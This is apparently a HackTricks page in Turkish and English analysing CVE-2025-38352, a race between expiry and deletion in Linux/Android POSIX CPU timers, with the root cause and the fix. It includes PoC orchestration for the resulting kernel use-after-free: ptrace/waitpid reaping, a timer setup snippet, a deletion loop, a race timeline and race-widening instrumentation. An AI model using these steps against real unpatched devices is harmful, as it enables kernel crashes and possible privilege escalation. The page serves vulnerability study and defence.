POSIX CPU Zamanlayıcıları TOCTOU yarış koşulu (CVE-2025-38352)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, Linux/Android POSIX CPU zamanlayıcılarındaki bir TOCTOU yarış koşulunu belgelemektedir; bu durum timer durumunu bozabilir ve kernelin çökmesine yol açabilir ve bazı durumlarda ayrıcalık yükseltmeye yönlendirilebilir.
- Etkilenen bileşen: kernel/time/posix-cpu-timers.c
- Primitif: görev sonlandırması sırasında sona erme ile silme arasındaki yarış
- Yapılandırma bağımlı: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Hızlı iç yapı özeti (sömürü için ilgili)
- Üç CPU saati, cpu_clock_sample() aracılığıyla timerların muhasebesini sağlar:
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: sadece utime
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer oluşturma bir timer’ı bir task/pid’e bağlar ve timerqueue düğümlerini başlatır:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming, per-base timerqueue’ya ekleme yapar ve next-expiry cache’i güncelleyebilir:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Hızlı yol, önbelleğe alınmış süre sonlarının olası tetiklemeyi işaret etmediği sürece pahalı işlemlerden kaçınır:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Expiration süresi dolmuş zamanlayıcıları toplar, onları firing olarak işaretler, kuyruğun dışına taşır; gerçek teslimat ertelenir:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
İki sona erme işleme modu
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: sona erme hedef görevde task_work aracılığıyla ertelenir
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: sona erme doğrudan IRQ bağlamında işlenir
Task_work ve IRQ sona erme yolları
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```IRQ-context yolunda, firing list sighand dışında işlenir
IRQ-context delivery loop
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```Kök neden: IRQ-zamanı sırasında sona erme ile task çıkışı altındaki eşzamanlı silme arasındaki TOCTOU
Önkoşullar
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK devre dışı (IRQ yolu kullanılıyor)
- Hedef task çıkıyor ancak tamamen temizlenip serbest bırakılmamış
- Başka bir thread aynı timer için eşzamanlı olarak posix_cpu_timer_del() çağrısı yapıyor
Sıra
- update_process_times() çıkan task için IRQ bağlamında run_posix_cpu_timers()’ı tetikler.
- collect_timerqueue() ctmr->firing = 1 olarak ayarlar ve timer’ı geçici firing listesine taşır.
- handle_posix_cpu_timers() zamanlayıcıları kilit dışından teslim etmek için unlock_task_sighand() ile sighand’i bırakır.
- Kilit açıldıktan hemen sonra çıkan task reaped edilebilir; bir kardeş thread posix_cpu_timer_del() çağrısını yapar.
- Bu pencere içinde, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() yoluyla state’i almakta başarısız olabilir ve böylece timer->it.cpu.firing’i kontrol eden normal in-flight korumasını atlayabilir. Silme, timer’ın firing durumda olmadığı varsayımıyla devam eder; sona erme işlenirken durumu bozar ve çökme/UB’ye yol açar.
release_task() ve timer_delete() firing durumda olan timerları nasıl serbest bırakır
handle_posix_cpu_timers() timer’ı task listesinden çıkarmış olsa bile, ptrace’lenmiş bir zombie hâlâ reaped edilebilir. waitpid() yığını release_task() → __exit_signal()’i tetikler; bu, başka bir CPU hâlâ timer nesnesine işaretçiler tutarken sighand ve signal kuyruklarını yıkar:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
sighand ayrıldıktan sonra, timer_delete() hâlâ başarı döndürür çünkü posix_cpu_timer_del() kilitleme başarısız olduğunda ret = 0 bırakır, bu yüzden syscall nesneyi RCU aracılığıyla serbest bırakmaya devam eder:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.
ptrace + waitpid ile reaping yönlendirme
Otomatik olarak reaped edilmeden bir zombie’yi elde tutmanın en kolay yolu, lider olmayan bir worker thread’i ptrace etmektir. exit_notify() önce exit_state = EXIT_ZOMBIE ayarlar ve yalnızca autoreap true ise EXIT_DEAD’e geçer. ptrace edilmiş thread’ler için, autoreap = do_notify_parent() SIGCHLD yoksayıldığı sürece false kalır; bu yüzden release_task() sadece parent açıkça waitpid() çağırdığında çalışır:
- Tracee içinde pthread_create() kullanın, böylece hedef thread-group leader olmaz (wait_task_zombie() ptraced non-leader’ları işler).
- Parent
ptrace(PTRACE_ATTACH, tid)ve daha sonrawaitpid(tid, __WALL)çağrısı yapar; bu do_wait_pid() → wait_task_zombie() → release_task() akışını tetikler. - Pipes veya shared memory, doğru worker’ın talep üzerine reaped edilmesi için parent’a tam TID’i iletir.
Bu koreografi, handle_posix_cpu_timers()’ın hâlâ tsk->sighand’e referans verebildiği bir pencereyi garanti eder; sonraki bir waitpid() bunu yıkar ve timer_delete()’nin aynı k_itimer nesnesini geri almasına izin verir.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Mevcut task exiting ise erken bir return ekleyin; tüm işlemleri bu koşulla gate’leyin:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Bu, çıkış yapan görevler için handle_posix_cpu_timers() fonksiyonuna girilmesini önler; böylece posix_cpu_timer_del()’in cpu.firing’i kaçırabildiği ve expiry processing ile yarıştığı pencere ortadan kalkar.
Etkiler
- Eşzamanlı sona erme/silme sırasında zamanlayıcı yapılarına yönelik çekirdek bellek bozulması anında çökme(DoS) ile sonuçlanabilir ve rastgele çekirdek durumunu manipüle etme fırsatları nedeniyle yetki yükseltme için güçlü bir ilkel sağlar.
Hatanın tetiklenmesi (güvenli, tekrarlanabilir koşullar) Derleme/yapılandırma
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n olduğundan emin olun ve exit_state gating fix içermeyen bir kernel kullanın. x86/arm64’te bu seçenek genellikle HAVE_POSIX_CPU_TIMERS_TASK_WORK aracılığıyla zorlanır; bu yüzden araştırmacılar genellikle
kernel/time/Kconfigdosyasını manuel bir anahtar sunacak şekilde yamalar:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Bu, Android satıcılarının analysis derlemeleri için yaptıklarına benzer; upstream x86_64 ve arm64 HAVE_POSIX_CPU_TIMERS_TASK_WORK=y’yi zorladığından, savunmasız IRQ yolu esasen bu seçenek derlenmiş olmayan 32-bit Android kernel’lerinde bulunur.
- Çok çekirdekli bir VM üzerinde çalıştırın (örn., QEMU
-smp cores=4) böylece ebeveyn süreç, çocuğun ana iş parçacığı ve worker iş parçacıkları özel CPU’lara sabitlenmiş kalabilir.
Çalışma zamanı stratejisi
- Çıkmak üzere olan bir iş parçacığını hedefleyin ve ona bir CPU timer ekleyin (iş-parçacığı başına veya proses-genel saat):
- İş-parçacığı başına için: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- Proses-genel için: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- IRQ-yolu girişlerini maksimize etmek için çok kısa bir başlangıç süresi ve küçük bir aralıkla ayarlayın:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Kardeş bir thread’ten, hedef thread çıkarken aynı timer’ı aynı anda silin:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Yarışma artırıcıları: yüksek scheduler tick hızı, CPU yükü, tekrar eden thread çıkış/yeni oluşturma döngüleri. Çökme tipik olarak
posix_cpu_timer_del()’in,unlock_task_sighand()’den hemen sonra görev arama/kilitleme başarısızlığı nedeniyle tetiklemeyi fark etmeyi atladığında ortaya çıkar.
Pratik PoC orkestrasyonu
İş parçacığı & IPC koreografisi
Güvenilir bir yeniden üretici, ptracing yapan bir ebeveyn süreç ve savunmasız worker thread’i başlatan bir çocuk süreç oluşturmak için fork eder. İki pipe (c2p, p2c) worker TID’sini iletir ve her aşamayı kontrol eder; bir pthread_barrier_t ise ebeveyn bağlanana kadar worker’ın timer’ını kurmasını engeller. Her süreç veya thread, scheduler gürültüsünü en aza indirip yarışı tekrar üretilebilir kılmak için sched_setaffinity() ile sabitlenir (örn. ebeveyn CPU1’de, çocuk ana CPU0’da, worker CPU2’de).
CLOCK_THREAD_CPUTIME_ID ile timer kalibrasyonu
Worker, yalnızca kendi CPU tüketiminin deadline’ı ilerletmesi için thread başına bir CPU timer kurar. Ayarlanabilir bir wait_time (varsayılan ≈250 µs CPU zamanı) ve sınırlı bir yoğun döngü, timer neredeyse tetiklenmek üzereyken exit_notify()’un EXIT_ZOMBIE’yi ayarlamasını sağlar:
Minimal iş parçacığı başına CPU timer iskeleti
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### Yarış zaman çizelgesi
1. Çocuk, ebeveyne işçi TID'sini `c2p` üzerinden bildirir, sonra bariyerde bloklanır.
2. Ebeveyn `PTRACE_ATTACH` yapar, `waitpid(__WALL)` içinde bekler, sonra işçinin çalışmasına ve çıkmasına izin vermek için `PTRACE_CONT` uygular.
3. Heuristikler (veya manuel operatör girişi) zamanlayıcının IRQ tarafındaki `firing` listesine alındığını işaret ettiğinde, ebeveyn release_task() tetiklemek ve `tsk->sighand`'i düşürmek için `waitpid(tid, __WALL)`'i tekrar çalıştırır.
4. Ebeveyn `p2c` üzerinden çocuğa sinyal gönderir, böylece child main `timer_delete(timer)` çağırabilir ve hemen ardından timer’ın RCU geri çağrısı tamamlanana kadar `wait_for_rcu()` gibi bir yardımcıyı çalıştırır.
5. IRQ bağlamı nihayet `handle_posix_cpu_timers()`'ı sürdürür ve serbest bırakılmış `struct k_itimer`'ı dereference eder, bu da KASAN veya WARN_ON()'ları tetikler.
#### İsteğe bağlı kernel enstrümantasyonu
Araştırma düzenekleri için, `tsk->comm == "SLOWME"` iken handle_posix_cpu_timers() içine debug-only `mdelay(500)` enjekte etmek pencereyi genişletir, böylece yukarıdaki koreografi neredeyse her zaman yarışta kazanır. Aynı PoC ayrıca thread'lerin adını (`prctl(PR_SET_NAME, ...)`) değiştirir, böylece kernel logları ve breakpoint'ler beklenen işçinin temizlendiğini doğrular.
### İstismar sırasında enstrümantasyon ipuçları
- `unlock_task_sighand()`/`posix_cpu_timer_del()` etrafına tracepoint/WARN_ONCE ekleyin; `it.cpu.firing==1` ile cpu_timer_task_rcu()/lock_task_sighand() başarısızlığının çakıştığı durumları tespit edin; hedef çıkış yaptığında timerqueue tutarlılığını izleyin.
- KASAN tipik olarak posix_timer_queue_signal() içinde `slab-use-after-free` raporlar; KASAN olmayan kernel'ler yarış isabet ettiğinde send_sigqueue()'dan WARN_ON_ONCE() loglar, bu da hızlı bir başarı göstergesi verir.
Denetim kritik noktaları (inceleyiciler için)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() seçimi (TASK_WORK vs IRQ yolu)
- collect_timerqueue(): ctmr->firing'i ayarlar ve düğümleri taşır
- handle_posix_cpu_timers(): firing döngüsünden önce sighand'i düşürür
- posix_cpu_timer_del(): uçuşta olan süreliliği tespit etmek için it.cpu.firing'e dayanır; bu kontrol, görev araması/lock başarısız olduğunda exit/reap sırasında atlanır
İstismar araştırması notları
- Açıklanan davranış güvenilir bir kernel çökme primitifidir; bunu ayrıcalık yükseltmeye çevirmek genellikle bu özetin kapsamı dışında kalan ek bir kontrol edilebilir çakışma (nesne ömrü veya write-what-where etkisi) gerektirir. Herhangi bir PoC'yi potansiyel olarak kararsızlaştırıcı olarak kabul edin ve yalnızca emülatör/VM'lerde çalıştırın.
## Referanslar
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>


